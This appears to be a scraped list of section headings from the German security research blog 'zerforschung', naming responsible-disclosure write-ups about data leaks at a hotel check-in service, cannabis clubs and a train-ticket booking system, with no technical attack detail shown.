Diese Dokumentation soll zum einen helfen multimodale Verkehrslösungen zu entwickeln und zum anderen Druck auf die Anbieter ausüben ihre Schnittstellen offen dokumentiert bereit zu stellen.

Mittlerweile hat sich eine Community um das Projekt entwickelt, welche die Schnittstellen von inzwischen über 35 Anbietern aus aller Welt reverse engineered und dokumentiert hat.

zerforschung

Suche Entspannung, finde Datenleck

Guten Tag, welchen Datenhaufen haben Sie reserviert?

Mein Name ist forschi, ich checke hier ein

Wie sieht es wohl in den anderen Zimmern aus?

Wir sind Admin in Rheinland-Pfalz, dem Saarland und Berlin

Habt ihr nicht jemanden vergessen?

Ich hätte gerne das gleiche Zimmer nochmal

🐑 1 Reservierung 🐑, 2 Reservierungen 🐑, 3 Reservierungen 🐑 😴

Endlich im Bett. Wobei, bitte doch noch ein anderes Kissen?

Wir wollen doch einfach nur schlafen

Daten sparen = Stress sparen

Besser gleich richtig machen

Auch die Hotels sind in der Pflicht

Timeline

Hotel: Check-in 🤝 Daten: Check-Out

Can I have a little Urlaub? 👉👈

Kleine Web-App, große Wirkung

Check-In? Check-Out!

Was will uns der Server damit sagen?

Die einzige Form von weltoffen, die nicht okay ist

Zimmerservice? Einmal alles bitte.

🎶 A, B, C, D, E, F, G… 🎶

Wir würden dann gerne Zählen, bitte.

Vor dem Schlafen, nach dem Essen, Lückenmeldung nicht vergessen

Warum liegen hier überhaupt Ausweise rum?

Schluss. Schlafen.

Timeline

🤝

Seit dem 1. April ist Bubatz legal, Datenlecks aber weiterhin nicht

Große Ziele …

Wir wissen, wer mit (an)bauen will

Wir sind andere Kiffer*innen?

Dein Club, mein Club, das sind doch alles bürgerliche Kategorien

✍️ Auf zum Report

Fazit

🤝

Timeline

Tatü-Tata, ein Databreach ist da

Hilfe, wir wurden geinfluenced

Neugierde? Geweckt!

💯 Immer genau einhundert?

💔

Fazit

📰

How we tried to book a train ticket and ended up with a databreach with 245,000 records

Station 1: The town of DDoSing

Station 2: Password-Reset-City

Station 3: Free-tickets-for-all-avenue

Detour via Reporting

Station 4: Where the wild APIs live.

Station 5: “Unfortunately, we came to an unscheduled stop…”

Station 6: “Data leak of 245,000 records today from track 2 - directly opposite.”

Another stop in reporting

Last Stop: Conclusion

Timeline

🤝

Wie wir ein Bahnticket buchen wollten und am Ende 245.000 Datensätze hatten

Station 1: DDoSingen

Station 2: Passwort-Reset-Hausen

Station 3: Freitickets-für-alle-Allee

Umleitung über Meldungen

Station 4: Wo die wilden APIs wohnen

Station 5: “Wir sind leider außerplanmäßig zum Halten gekommen…”

Station 6: “Datenleck mit 245.000 Datensätzen heute von Gleis 2 – direkt gegenüber”

Erneuter Halt in Meldungen

Fazit – Dieser Zug endet hier

Timeline

🤝

Money Money Money

Neue IBAN

Jetzt neu: Patreon & Steady

Weiterhin nicht: Krypto-“Währungen”

🥺👉👈

Presents versus privacy

The world is a cruel place

Problems of preserving privacy

Fear + StartUp = Profit

A throne made of bricks

Reaching into the cookie jar